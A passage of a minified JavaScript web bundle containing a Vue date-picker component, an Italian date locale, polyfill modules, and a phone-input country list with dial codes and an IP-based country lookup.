andleSwipe:e=>(0,a.R1)(U)(e,i),onMount:n[3]||(n[3]=e=>ge(\"calendar\")),onResetFlow:O,onTooltipOpen:n[4]||(n[4]=e=>t.$emit(\"tooltip-open\",e)),onTooltipClose:n[5]||(n[5]=e=>t.$emit(\"tooltip-close\",e))}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(q),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)({...n})))])}))]),1040,[\"specific-mode\",\"get-week-num\",\"instance\",\"mapped-dates\",\"month\",\"year\",\"flow-step\",\"onSelectDate\",\"onHandleSpace\",\"onHandleScroll\",\"onHandleSwipe\"])],2))),128))],2),(0,r.Lk)(\"div\",null,[t.$slots[\"time-picker\"]?(0,r.RG)(t.$slots,\"time-picker\",(0,o._B)((0,r.v6)({key:0},{time:(0,a.R1)(W),updateTime:(0,a.R1)(P)}))):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[!t.enableTimePicker||t.monthPicker||t.weekPicker?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.timePickerComponent?t.timePickerComponent:il),(0,r.v6)({key:0,ref_key:\"timePickerRef\",ref:y,hours:(0,a.R1)(W).hours,minutes:(0,a.R1)(W).minutes,seconds:(0,a.R1)(W).seconds,\"internal-model-value\":e.internalModelValue},t.$props,{onMount:n[6]||(n[6]=e=>ge(\"timePicker\")),\"onUpdate:hours\":n[7]||(n[7]=e=>(0,a.R1)(P)(e)),\"onUpdate:minutes\":n[8]||(n[8]=e=>(0,a.R1)(P)(e,!1)),\"onUpdate:seconds\":n[9]||(n[9]=e=>(0,a.R1)(P)(e,!1,!0)),onResetFlow:O,onOverlayClosed:T}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(Z),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"hours\",\"minutes\",\"seconds\",\"internal-model-value\"]))],64))])],512),t.$slots[\"right-sidebar\"]?((0,r.uX)(),(0,r.CE)(\"div\",fl,[(0,r.RG)(t.$slots,\"right-sidebar\")])):(0,r.Q3)(\"\",!0),t.showNowButton?((0,r.uX)(),(0,r.CE)(\"div\",pl,[t.$slots[\"now-button\"]?(0,r.RG)(t.$slots,\"now-button\",{key:0,selectCurrentDate:(0,a.R1)(H)}):(0,r.Q3)(\"\",!0),t.$slots[\"now-button\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"button\",{key:1,type:\"button\",role:\"button\",class:\"dp__now_button\",onClick:n[10]||(n[10]=(...e)=>(0,a.R1)(H)&&(0,a.R1)(H)(...e))},(0,o.v_)(t.nowButtonLabel),1))])):(0,r.Q3)(\"\",!0)],2),!t.autoApply||t.keepActionRow?((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.actionRowComponent?t.actionRowComponent:_i),(0,r.v6)({key:2,\"menu-mount\":w.value,\"calendar-width\":$.value,\"internal-model-value\":e.internalModelValue},t.$props,{onClosePicker:n[11]||(n[11]=e=>t.$emit(\"close-picker\")),onSelectDate:n[12]||(n[12]=e=>t.$emit(\"select-date\")),onInvalidSelect:n[13]||(n[13]=e=>t.$emit(\"invalid-select\"))}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(Q),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)({...n})))])}))]),1040,[\"menu-mount\",\"calendar-width\",\"internal-model-value\"])):(0,r.Q3)(\"\",!0)],42,sl)]}),_:3},8,[\"name\",\"css\"])}}}),vl=typeof window\u003C\"u\"?window:void 0,ml=()=>{},gl=e=>!!(0,a.o5)()&&((0,a.jr)(e),!0),yl=(e,t,n,o)=>{if(!e)return ml;let i=ml;const l=(0,r.wB)(()=>(0,a.R1)(e),e=>{i(),e&&(e.addEventListener(t,n,o),i=()=>{e.removeEventListener(t,n,o),i=ml})},{immediate:!0,flush:\"post\"}),s=()=>{l(),i()};return gl(s),s},bl=(e,t,n,r={})=>{const{window:a=vl,event:o=\"pointerdown\"}=r;return a?yl(a,o,r=>{const a=Oo(e),o=Oo(t);!a||!o||a===r.target||r.composedPath().includes(a)||r.composedPath().includes(o)||n(r)},{passive:!0}):void 0},$l=(0,r.pM)({__name:\"VueDatePicker\",props:{...fi},emits:[\"update:model-value\",\"text-submit\",\"closed\",\"cleared\",\"open\",\"focus\",\"blur\",\"internal-model-change\",\"recalculate-position\",\"flow-step\",\"update-month-year\",\"invalid-select\",\"invalid-fixed-range\",\"tooltip-open\",\"tooltip-close\"],setup(e,{expose:t,emit:n}){const i=e,l=(0,r.Ht)(),s=(0,a.KR)(!1),u=(0,a.lW)(i,\"modelValue\"),d=(0,a.lW)(i,\"timezone\"),c=(0,a.KR)(null),f=(0,a.KR)(null),p=(0,a.KR)(!1),{setMenuFocused:h,setShiftKey:v}=Ea(),{clearArrowNav:m}=Zo(),{validateDate:g,isValidTime:y,defaults:b}=Uo(i);(0,r.sV)(()=>{T(i.modelValue),i.inline||(window.addEventListener(\"scroll\",B),window.addEventListener(\"resize\",W)),i.inline&&(s.value=!0)}),(0,r.hi)(()=>{i.inline||(window.removeEventListener(\"scroll\",B),window.removeEventListener(\"resize\",W))});const $=di(l,\"all\",i.presetRanges),w=di(l,\"input\");(0,r.wB)([u,d],()=>{T(u.value)},{deep:!0});const{openOnTop:_,menuPosition:k,setMenuPosition:C,setInitialPosition:x}=ii(c,f,n,i),{inputValue:S,internalModelValue:E,parseExternalModelValue:T,emitModelValue:R,formatInputValue:O,checkBeforeEmit:M}=ri(n,i,p),A=(0,r.EW)(()=>({dp__main:!0,dp__theme_dark:i.dark,dp__theme_light:!i.dark,dp__flex_display:i.inline,dp__flex_display_with_input:i.inlineWithInput})),D=(0,r.EW)(()=>i.dark?\"dp__theme_dark\":\"dp__theme_light\"),B=()=>{s.value&&(i.closeOnScroll?U():i.autoPosition&&C())},W=()=>{s.value&&C()},P=()=>{!i.disabled&&!i.readonly&&(x(),s.value=!0,(0,r.dY)().then(()=>{C(),s.value&&n(\"open\")}),s.value||V(),T(i.modelValue))},I=()=>{S.value=\"\",V(),n(\"update:model-value\",null),n(\"cleared\"),U()},N=()=>{const e=E.value;return!(e&&(Array.isArray(e)||!g(e)))||!!Array.isArray(e)&&(!(2!==e.length||!g(e[0])||!g(e[1]))||g(e[0]))},L=()=>{M()&&N()?(R(),U()):n(\"invalid-select\",E.value)},j=e=>{R(),i.closeOnAutoApply&&!e&&U()},F=(e=!1)=>{i.autoApply&&y(E.value)&&N()&&(i.range&&Array.isArray(E.value)?(i.partialRange||2===E.value.length)&&j(e):j(e))},V=()=>{i.textInput||(E.value=null)},U=()=>{i.inline||(s.value&&(s.value=!1,h(!1),v(!1),m(),n(\"closed\"),x(),S.value&&T(u.value)),V(),f.value&&f.value.focusInput())},X=(e,t)=>{e?(E.value=e,t&&(L(),n(\"text-submit\"))):E.value=null},H=()=>{i.autoApply&&y(E.value)&&R()},G=()=>s.value?U():P(),Y=e=>{E.value=e},z=(0,r.EW)(()=>i.textInput&&b.value.textInputOptions.format),K=()=>{z.value&&(p.value=!0,O()),n(\"focus\")},q=()=>{z.value&&(p.value=!1,O()),n(\"blur\")},Q=e=>{c.value&&c.value.updateMonthYear(0,{month:Wo(e.month),year:Wo(e.year)})};return bl(c,f,i.onClickOutside?()=>i.onClickOutside(N):U),t({closeMenu:U,selectDate:L,clearValue:I,openMenu:P,onScroll:B,formatInputValue:O,updateInternalModelValue:Y,setMonthYear:Q}),(e,t)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:(0,o.C4)((0,a.R1)(A))},[(0,r.bF)(yi,(0,r.v6)({ref_key:\"inputRef\",ref:f,\"is-menu-open\":s.value,\"input-value\":(0,a.R1)(S),\"onUpdate:inputValue\":t[0]||(t[0]=e=>(0,a.i9)(S)?S.value=e:null)},e.$props,{onClear:I,onOpen:P,onSetInputDate:X,onSetEmptyDate:(0,a.R1)(R),onSelectDate:L,onToggle:G,onClose:U,onFocus:K,onBlur:q}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(w),(t,n)=>({name:t,fn:(0,r.k6)(n=>[(0,r.RG)(e.$slots,t,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"is-menu-open\",\"input-value\",\"onSetEmptyDate\"]),s.value?((0,r.uX)(),(0,r.Wv)(r.Im,{key:0,to:e.teleport,disabled:e.inline},[s.value?((0,r.uX)(),(0,r.Wv)(hl,(0,r.v6)({key:0,ref_key:\"dpMenuRef\",ref:c,class:(0,a.R1)(D),style:(0,a.R1)(k),\"open-on-top\":(0,a.R1)(_)},e.$props,{\"internal-model-value\":(0,a.R1)(E),\"onUpdate:internalModelValue\":t[1]||(t[1]=e=>(0,a.i9)(E)?E.value=e:null),onClosePicker:U,onSelectDate:L,onAutoApply:F,onTimeUpdate:H,onFlowStep:t[2]||(t[2]=t=>e.$emit(\"flow-step\",t)),onUpdateMonthYear:t[3]||(t[3]=t=>e.$emit(\"update-month-year\",t)),onInvalidSelect:t[4]||(t[4]=t=>e.$emit(\"invalid-select\",(0,a.R1)(E))),onInvalidFixedRange:t[5]||(t[5]=t=>e.$emit(\"invalid-fixed-range\",t)),onRecalculatePosition:(0,a.R1)(C),onTooltipOpen:t[6]||(t[6]=t=>e.$emit(\"tooltip-open\",t)),onTooltipClose:t[7]||(t[7]=t=>e.$emit(\"tooltip-close\",t))}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)($),(t,n)=>({name:t,fn:(0,r.k6)(n=>[(0,r.RG)(e.$slots,t,(0,o._B)((0,r.Ng)({...n})))])}))]),1040,[\"class\",\"style\",\"open-on-top\",\"internal-model-value\",\"onRecalculatePosition\"])):(0,r.Q3)(\"\",!0)],8,[\"to\",\"disabled\"])):(0,r.Q3)(\"\",!0)],2))}}),wl=(()=>{const e=$l;return e.install=t=>{t.component(\"Vue3DatePicker\",e)},e})(),_l=Object.freeze(Object.defineProperty({__proto__:null,default:wl},Symbol.toStringTag,{value:\"Module\"}));Object.entries(_l).forEach(([e,t])=>{\"default\"!==e&&(wl[e]=t)})},397:function(e,t,n){\"use strict\";var r=n(7751);e.exports=r(\"document\",\"documentElement\")},410:function(e,t,n){!function(t,r){e.exports=r(n(8699))}(0,function(e){\"use strict\";function t(e){return e&&\"object\"==typeof e&&\"default\"in e?e:{default:e}}var n=t(e),r={name:\"it\",weekdays:\"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato\".split(\"_\"),weekdaysShort:\"dom_lun_mar_mer_gio_ven_sab\".split(\"_\"),weekdaysMin:\"do_lu_ma_me_gi_ve_sa\".split(\"_\"),months:\"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre\".split(\"_\"),weekStart:1,monthsShort:\"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic\".split(\"_\"),formats:{LT:\"HH:mm\",LTS:\"HH:mm:ss\",L:\"DD\u002FMM\u002FYYYY\",LL:\"D MMMM YYYY\",LLL:\"D MMMM YYYY HH:mm\",LLLL:\"dddd D MMMM YYYY HH:mm\"},relativeTime:{future:\"tra %s\",past:\"%s fa\",s:\"qualche secondo\",m:\"un minuto\",mm:\"%d minuti\",h:\"un'ora\",hh:\"%d ore\",d:\"un giorno\",dd:\"%d giorni\",M:\"un mese\",MM:\"%d mesi\",y:\"un anno\",yy:\"%d anni\"},ordinal:function(e){return e+\"º\"}};return n.default.locale(r,null,!0),r})},421:function(e){\"use strict\";e.exports={}},507:function(e,t,n){\"use strict\";var r=n(9565);e.exports=function(e,t,n){var a,o,i=n?e:e.iterator,l=e.next;while(!(a=r(l,i)).done)if(o=t(a.value),void 0!==o)return o}},516:function(e){\"use strict\";e.exports=\"object\"==typeof Deno&&Deno&&\"object\"==typeof Deno.version},616:function(e,t,n){\"use strict\";var r=n(9039);e.exports=!r(function(){var e=function(){}.bind();return\"function\"!=typeof e||e.hasOwnProperty(\"prototype\")})},655:function(e,t,n){\"use strict\";var r=n(6955),a=String;e.exports=function(e){if(\"Symbol\"===r(e))throw new TypeError(\"Cannot convert a Symbol value to a string\");return a(e)}},679:function(e,t,n){\"use strict\";var r=n(1625),a=TypeError;e.exports=function(e,t){if(r(t,e))return e;throw new a(\"Incorrect invocation\")}},713:function(e,t,n){\"use strict\";var r=n(9565),a=n(9306),o=n(8551),i=n(1767),l=n(9462),s=n(6319),u=l(function(){var e=this.iterator,t=o(r(this.next,e)),n=this.done=!!t.done;if(!n)return s(e,this.mapper,[t.value,this.counter++],!0)});e.exports=function(e){return o(this),a(e),new u(i(this),{mapper:e})}},741:function(e){\"use strict\";var t=Math.ceil,n=Math.floor;e.exports=Math.trunc||function(e){var r=+e;return(r>0?n:t)(r)}},757:function(e,t,n){\"use strict\";var r=n(7751),a=n(4901),o=n(1625),i=n(7040),l=Object;e.exports=i?function(e){return\"symbol\"==typeof e}:function(e){var t=r(\"Symbol\");return a(t)&&o(t.prototype,l(e))}},851:function(e,t,n){\"use strict\";var r=n(6955),a=n(5966),o=n(4117),i=n(6269),l=n(8227),s=l(\"iterator\");e.exports=function(e){if(!o(e))return a(e,s)||a(e,\"@@iterator\")||i[r(e)]}},944:function(e){\"use strict\";var t=TypeError;e.exports=function(e){var n=e&&e.alphabet;if(void 0===n||\"base64\"===n||\"base64url\"===n)return n||\"base64\";throw new t(\"Incorrect `alphabet` option\")}},1072:function(e,t,n){\"use strict\";var r=n(1828),a=n(8727);e.exports=Object.keys||function(e){return r(e,a)}},1108:function(e,t,n){\"use strict\";var r=n(6955);e.exports=function(e){var t=r(e);return\"BigInt64Array\"===t||\"BigUint64Array\"===t}},1181:function(e,t,n){\"use strict\";var r,a,o,i=n(8622),l=n(4475),s=n(34),u=n(6699),d=n(9297),c=n(7629),f=n(6119),p=n(421),h=\"Object already initialized\",v=l.TypeError,m=l.WeakMap,g=function(e){return o(e)?a(e):r(e,{})},y=function(e){return function(t){var n;if(!s(t)||(n=a(t)).type!==e)throw new v(\"Incompatible receiver, \"+e+\" required\");return n}};if(i||c.state){var b=c.state||(c.state=new m);b.get=b.get,b.has=b.has,b.set=b.set,r=function(e,t){if(b.has(e))throw new v(h);return t.facade=e,b.set(e,t),t},a=function(e){return b.get(e)||{}},o=function(e){return b.has(e)}}else{var $=f(\"state\");p[$]=!0,r=function(e,t){if(d(e,$))throw new v(h);return t.facade=e,u(e,$,t),t},a=function(e){return d(e,$)?e[$]:{}},o=function(e){return d(e,$)}}e.exports={set:r,get:a,has:o,enforce:g,getterFor:y}},1291:function(e,t,n){\"use strict\";var r=n(741);e.exports=function(e){var t=+e;return t!==t||0===t?0:r(t)}},1341:function(e,t,n){\"use strict\";n.d(t,{A:function(){return jn}});n(4114),n(8992),n(4520),n(2577),n(3949),n(1454),n(7550);var r=n(1469),a=n(6436),o=n(7959);const i=[[\"Afghanistan (‫افغانستان‬‎)\",\"af\",\"93\"],[\"Albania (Shqipëri)\",\"al\",\"355\"],[\"Algeria (‫الجزائر‬‎)\",\"dz\",\"213\"],[\"American Samoa\",\"as\",\"1\",5,[\"684\"]],[\"Andorra\",\"ad\",\"376\"],[\"Angola\",\"ao\",\"244\"],[\"Anguilla\",\"ai\",\"1\",6,[\"264\"]],[\"Antigua and Barbuda\",\"ag\",\"1\",7,[\"268\"]],[\"Argentina\",\"ar\",\"54\"],[\"Armenia (Հայաստան)\",\"am\",\"374\"],[\"Aruba\",\"aw\",\"297\"],[\"Ascension Island\",\"ac\",\"247\"],[\"Australia\",\"au\",\"61\",0],[\"Austria (Österreich)\",\"at\",\"43\"],[\"Azerbaijan (Azərbaycan)\",\"az\",\"994\"],[\"Bahamas\",\"bs\",\"1\",8,[\"242\"]],[\"Bahrain (‫البحرين‬‎)\",\"bh\",\"973\"],[\"Bangladesh (বাংলাদেশ)\",\"bd\",\"880\"],[\"Barbados\",\"bb\",\"1\",9,[\"246\"]],[\"Belarus (Беларусь)\",\"by\",\"375\"],[\"Belgium (België)\",\"be\",\"32\"],[\"Belize\",\"bz\",\"501\"],[\"Benin (Bénin)\",\"bj\",\"229\"],[\"Bermuda\",\"bm\",\"1\",10,[\"441\"]],[\"Bhutan (འབྲུག)\",\"bt\",\"975\"],[\"Bolivia\",\"bo\",\"591\"],[\"Bosnia and Herzegovina (Босна и Херцеговина)\",\"ba\",\"387\"],[\"Botswana\",\"bw\",\"267\"],[\"Brazil (Brasil)\",\"br\",\"55\"],[\"British Indian Ocean Territory\",\"io\",\"246\"],[\"British Virgin Islands\",\"vg\",\"1\",11,[\"284\"]],[\"Brunei\",\"bn\",\"673\"],[\"Bulgaria (България)\",\"bg\",\"359\"],[\"Burkina Faso\",\"bf\",\"226\"],[\"Burundi (Uburundi)\",\"bi\",\"257\"],[\"Cambodia (កម្ពុជា)\",\"kh\",\"855\"],[\"Cameroon (Cameroun)\",\"cm\",\"237\"],[\"Canada\",\"ca\",\"1\",1,[\"204\",\"226\",\"236\",\"249\",\"250\",\"263\",\"289\",\"306\",\"343\",\"354\",\"365\",\"367\",\"368\",\"382\",\"387\",\"403\",\"416\",\"418\",\"428\",\"431\",\"437\",\"438\",\"450\",\"584\",\"468\",\"474\",\"506\",\"514\",\"519\",\"548\",\"579\",\"581\",\"584\",\"587\",\"604\",\"613\",\"639\",\"647\",\"672\",\"683\",\"705\",\"709\",\"742\",\"753\",\"778\",\"780\",\"782\",\"807\",\"819\",\"825\",\"867\",\"873\",\"902\",\"905\"]],[\"Cape Verde (Kabu Verdi)\",\"cv\",\"238\"],[\"Caribbean Netherlands\",\"bq\",\"599\",1,[\"3\",\"4\",\"7\"]],[\"Cayman Islands\",\"ky\",\"1\",12,[\"345\"]],[\"Central African Republic (République centrafricaine)\",\"cf\",\"236\"],[\"Chad (Tchad)\",\"td\",\"235\"],[\"Chile\",\"cl\",\"56\"],[\"China (中国)\",\"cn\",\"86\"],[\"Christmas Island\",\"cx\",\"61\",2,[\"89164\"]],[\"Cocos (Keeling) Islands\",\"cc\",\"61\",1,[\"89162\"]],[\"Colombia\",\"co\",\"57\"],[\"Comoros (‫جزر القمر‬‎)\",\"km\",\"269\"],[\"Congo (DRC) (Jamhuri ya Kidemokrasia ya Kongo)\",\"cd\",\"243\"],[\"Congo (Republic) (Congo-Brazzaville)\",\"cg\",\"242\"],[\"Cook Islands\",\"ck\",\"682\"],[\"Costa Rica\",\"cr\",\"506\"],[\"Côte d’Ivoire\",\"ci\",\"225\"],[\"Croatia (Hrvatska)\",\"hr\",\"385\"],[\"Cuba\",\"cu\",\"53\"],[\"Curaçao\",\"cw\",\"599\",0],[\"Cyprus (Κύπρος)\",\"cy\",\"357\"],[\"Czech Republic (Česká republika)\",\"cz\",\"420\"],[\"Denmark (Danmark)\",\"dk\",\"45\"],[\"Djibouti\",\"dj\",\"253\"],[\"Dominica\",\"dm\",\"1\",13,[\"767\"]],[\"Dominican Republic (República Dominicana)\",\"do\",\"1\",2,[\"809\",\"829\",\"849\"]],[\"Ecuador\",\"ec\",\"593\"],[\"Egypt (‫مصر‬‎)\",\"eg\",\"20\"],[\"El Salvador\",\"sv\",\"503\"],[\"Equatorial Guinea (Guinea Ecuatorial)\",\"gq\",\"240\"],[\"Eritrea\",\"er\",\"291\"],[\"Estonia (Eesti)\",\"ee\",\"372\"],[\"Eswatini\",\"sz\",\"268\"],[\"Ethiopia\",\"et\",\"251\"],[\"Falkland Islands (Islas Malvinas)\",\"fk\",\"500\"],[\"Faroe Islands (Føroyar)\",\"fo\",\"298\"],[\"Fiji\",\"fj\",\"679\"],[\"Finland (Suomi)\",\"fi\",\"358\",0],[\"France\",\"fr\",\"33\"],[\"French Guiana (Guyane française)\",\"gf\",\"594\"],[\"French Polynesia (Polynésie française)\",\"pf\",\"689\"],[\"Gabon\",\"ga\",\"241\"],[\"Gambia\",\"gm\",\"220\"],[\"Georgia (საქართველო)\",\"ge\",\"995\"],[\"Germany (Deutschland)\",\"de\",\"49\"],[\"Ghana (Gaana)\",\"gh\",\"233\"],[\"Gibraltar\",\"gi\",\"350\"],[\"Greece (Ελλάδα)\",\"gr\",\"30\"],[\"Greenland (Kalaallit Nunaat)\",\"gl\",\"299\"],[\"Grenada\",\"gd\",\"1\",14,[\"473\"]],[\"Guadeloupe\",\"gp\",\"590\",0],[\"Guam\",\"gu\",\"1\",15,[\"671\"]],[\"Guatemala\",\"gt\",\"502\"],[\"Guernsey\",\"gg\",\"44\",1,[\"1481\",\"7781\",\"7839\",\"7911\"]],[\"Guinea (Guinée)\",\"gn\",\"224\"],[\"Guinea-Bissau (Guiné Bissau)\",\"gw\",\"245\"],[\"Guyana\",\"gy\",\"592\"],[\"Haiti\",\"ht\",\"509\"],[\"Honduras\",\"hn\",\"504\"],[\"Hong Kong (香港)\",\"hk\",\"852\"],[\"Hungary (Magyarország)\",\"hu\",\"36\"],[\"Iceland (Ísland)\",\"is\",\"354\"],[\"India (भारत)\",\"in\",\"91\"],[\"Indonesia\",\"id\",\"62\"],[\"Iran (‫ایران‬‎)\",\"ir\",\"98\"],[\"Iraq (‫العراق‬‎)\",\"iq\",\"964\"],[\"Ireland\",\"ie\",\"353\"],[\"Isle of Man\",\"im\",\"44\",2,[\"1624\",\"74576\",\"7524\",\"7924\",\"7624\"]],[\"Israel (‫ישראל‬‎)\",\"il\",\"972\"],[\"Italy (Italia)\",\"it\",\"39\",0],[\"Jamaica\",\"jm\",\"1\",4,[\"876\",\"658\"]],[\"Japan (日本)\",\"jp\",\"81\"],[\"Jersey\",\"je\",\"44\",3,[\"1534\",\"7509\",\"7700\",\"7797\",\"7829\",\"7937\"]],[\"Jordan (‫الأردن‬‎)\",\"jo\",\"962\"],[\"Kazakhstan (Казахстан)\",\"kz\",\"7\",1,[\"33\",\"7\"]],[\"Kenya\",\"ke\",\"254\"],[\"Kiribati\",\"ki\",\"686\"],[\"Kosovo\",\"xk\",\"383\"],[\"Kuwait (‫الكويت‬‎)\",\"kw\",\"965\"],[\"Kyrgyzstan (Кыргызстан)\",\"kg\",\"996\"],[\"Laos (ລາວ)\",\"la\",\"856\"],[\"Latvia (Latvija)\",\"lv\",\"371\"],[\"Lebanon (‫لبنان‬‎)\",\"lb\",\"961\"],[\"Lesotho\",\"ls\",\"266\"],[\"Liberia\",\"lr\",\"231\"],[\"Libya (‫ليبيا‬‎)\",\"ly\",\"218\"],[\"Liechtenstein\",\"li\",\"423\"],[\"Lithuania (Lietuva)\",\"lt\",\"370\"],[\"Luxembourg\",\"lu\",\"352\"],[\"Macau (澳門)\",\"mo\",\"853\"],[\"Madagascar (Madagasikara)\",\"mg\",\"261\"],[\"Malawi\",\"mw\",\"265\"],[\"Malaysia\",\"my\",\"60\"],[\"Maldives\",\"mv\",\"960\"],[\"Mali\",\"ml\",\"223\"],[\"Malta\",\"mt\",\"356\"],[\"Marshall Islands\",\"mh\",\"692\"],[\"Martinique\",\"mq\",\"596\"],[\"Mauritania (‫موريتانيا‬‎)\",\"mr\",\"222\"],[\"Mauritius (Moris)\",\"mu\",\"230\"],[\"Mayotte\",\"yt\",\"262\",1,[\"269\",\"639\"]],[\"Mexico (México)\",\"mx\",\"52\"],[\"Micronesia\",\"fm\",\"691\"],[\"Moldova (Republica Moldova)\",\"md\",\"373\"],[\"Monaco\",\"mc\",\"377\"],[\"Mongolia (Монгол)\",\"mn\",\"976\"],[\"Montenegro (Crna Gora)\",\"me\",\"382\"],[\"Montserrat\",\"ms\",\"1\",16,[\"664\"]],[\"Morocco (‫المغرب‬‎)\",\"ma\",\"212\",0],[\"Mozambique (Moçambique)\",\"mz\",\"258\"],[\"Myanmar (Burma) (မြန်မာ)\",\"mm\",\"95\"],[\"Namibia (Namibië)\",\"na\",\"264\"],[\"Nauru\",\"nr\",\"674\"],[\"Nepal (नेपाल)\",\"np\",\"977\"],[\"Netherlands (Nederland)\",\"nl\",\"31\"],[\"New Caledonia (Nouvelle-Calédonie)\",\"nc\",\"687\"],[\"New Zealand\",\"nz\",\"64\"],[\"Nicaragua\",\"ni\",\"505\"],[\"Niger (Nijar)\",\"ne\",\"227\"],[\"Nigeria\",\"ng\",\"234\"],[\"Niue\",\"nu\",\"683\"],[\"Norfolk Island\",\"nf\",\"672\"],[\"North Korea (조선 민주주의 인민 공화국)\",\"kp\",\"850\"],[\"North Macedonia (Северна Македонија)\",\"mk\",\"389\"],[\"Northern Mariana Islands\",\"mp\",\"1\",17,[\"670\"]],[\"Norway (Norge)\",\"no\",\"47\",0],[\"Oman (‫عُمان‬‎)\",\"om\",\"968\"],[\"Pakistan (‫پاکستان‬‎)\",\"pk\",\"92\"],[\"Palau\",\"pw\",\"680\"],[\"Palestine (‫فلسطين‬‎)\",\"ps\",\"970\"],[\"Panama (Panamá)\",\"pa\",\"507\"],[\"Papua New Guinea\",\"pg\",\"675\"],[\"Paraguay\",\"py\",\"595\"],[\"Peru (Perú)\",\"pe\",\"51\"],[\"Philippines\",\"ph\",\"63\"],[\"Poland (Polska)\",\"pl\",\"48\"],[\"Portugal\",\"pt\",\"351\"],[\"Puerto Rico\",\"pr\",\"1\",3,[\"787\",\"939\"]],[\"Qatar (‫قطر‬‎)\",\"qa\",\"974\"],[\"Réunion (La Réunion)\",\"re\",\"262\",0],[\"Romania (România)\",\"ro\",\"40\"],[\"Russia (Россия)\",\"ru\",\"7\",0],[\"Rwanda\",\"rw\",\"250\"],[\"Saint Barthélemy\",\"bl\",\"590\",1],[\"Saint Helena\",\"sh\",\"290\"],[\"Saint Kitts and Nevis\",\"kn\",\"1\",18,[\"869\"]],[\"Saint Lucia\",\"lc\",\"1\",19,[\"758\"]],[\"Saint Martin (Saint-Martin (partie française))\",\"mf\",\"590\",2],[\"Saint Pierre and Miquelon (Saint-Pierre-et-Miquelon)\",\"pm\",\"508\"],[\"Saint Vincent and the Grenadines\",\"vc\",\"1\",20,[\"784\"]],[\"Samoa\",\"ws\",\"685\"],[\"San Marino\",\"sm\",\"378\"],[\"São Tomé and Príncipe (São Tomé e Príncipe)\",\"st\",\"239\"],[\"Saudi Arabia (‫المملكة العربية السعودية‬‎)\",\"sa\",\"966\"],[\"Senegal (Sénégal)\",\"sn\",\"221\"],[\"Serbia (Србија)\",\"rs\",\"381\"],[\"Seychelles\",\"sc\",\"248\"],[\"Sierra Leone\",\"sl\",\"232\"],[\"Singapore\",\"sg\",\"65\"],[\"Sint Maarten\",\"sx\",\"1\",21,[\"721\"]],[\"Slovakia (Slovensko)\",\"sk\",\"421\"],[\"Slovenia (Slovenija)\",\"si\",\"386\"],[\"Solomon Islands\",\"sb\",\"677\"],[\"Somalia (Soomaaliya)\",\"so\",\"252\"],[\"South Africa\",\"za\",\"27\"],[\"South Korea (대한민국)\",\"kr\",\"82\"],[\"South Sudan (‫جنوب السودان‬‎)\",\"ss\",\"211\"],[\"Spain (España)\",\"es\",\"34\"],[\"Sri Lanka (ශ්‍රී ලංකාව)\",\"lk\",\"94\"],[\"Sudan (‫السودان‬‎)\",\"sd\",\"249\"],[\"Suriname\",\"sr\",\"597\"],[\"Svalbard and Jan Mayen\",\"sj\",\"47\",1,[\"79\"]],[\"Sweden (Sverige)\",\"se\",\"46\"],[\"Switzerland (Schweiz)\",\"ch\",\"41\"],[\"Syria (‫سوريا‬‎)\",\"sy\",\"963\"],[\"Taiwan (台灣)\",\"tw\",\"886\"],[\"Tajikistan\",\"tj\",\"992\"],[\"Tanzania\",\"tz\",\"255\"],[\"Thailand (ไทย)\",\"th\",\"66\"],[\"Timor-Leste\",\"tl\",\"670\"],[\"Togo\",\"tg\",\"228\"],[\"Tokelau\",\"tk\",\"690\"],[\"Tonga\",\"to\",\"676\"],[\"Trinidad and Tobago\",\"tt\",\"1\",22,[\"868\"]],[\"Tunisia (‫تونس‬‎)\",\"tn\",\"216\"],[\"Turkey (Türkiye)\",\"tr\",\"90\"],[\"Turkmenistan\",\"tm\",\"993\"],[\"Turks and Caicos Islands\",\"tc\",\"1\",23,[\"649\"]],[\"Tuvalu\",\"tv\",\"688\"],[\"U.S. Virgin Islands\",\"vi\",\"1\",24,[\"340\"]],[\"Uganda\",\"ug\",\"256\"],[\"Ukraine (Україна)\",\"ua\",\"380\"],[\"United Arab Emirates (‫الإمارات العربية المتحدة‬‎)\",\"ae\",\"971\"],[\"United Kingdom\",\"gb\",\"44\",0],[\"United States\",\"us\",\"1\",0],[\"Uruguay\",\"uy\",\"598\"],[\"Uzbekistan (Oʻzbekiston)\",\"uz\",\"998\"],[\"Vanuatu\",\"vu\",\"678\"],[\"Vatican City (Città del Vaticano)\",\"va\",\"39\",1,[\"06698\"]],[\"Venezuela\",\"ve\",\"58\"],[\"Vietnam (Việt Nam)\",\"vn\",\"84\"],[\"Wallis and Futuna (Wallis-et-Futuna)\",\"wf\",\"681\"],[\"Western Sahara (‫الصحراء الغربية‬‎)\",\"eh\",\"212\",1,[\"5288\",\"5289\"]],[\"Yemen (‫اليمن‬‎)\",\"ye\",\"967\"],[\"Zambia\",\"zm\",\"260\"],[\"Zimbabwe\",\"zw\",\"263\"],[\"Åland Islands\",\"ax\",\"358\",1,[\"18\"]]],l=i.map(([e,t,n,r=0,a=null])=>({name:e,iso2:t.toUpperCase(),dialCode:n,priority:r,areaCodes:a}));function s(){return fetch(\"https:\u002F\u002Fip2c.org\u002Fs\").then(e=>e.text()).then(e=>{const t=(e||\"\").toString();if(!t||\"1\"!==t[0])throw new Error(\"unable to fetch the country\");return t.substr(2,2)})}function u(e,t){if(e.setSelectionRange)e.focus(),e.setSelectionRange(t,t);else if(e.createTextRange){const 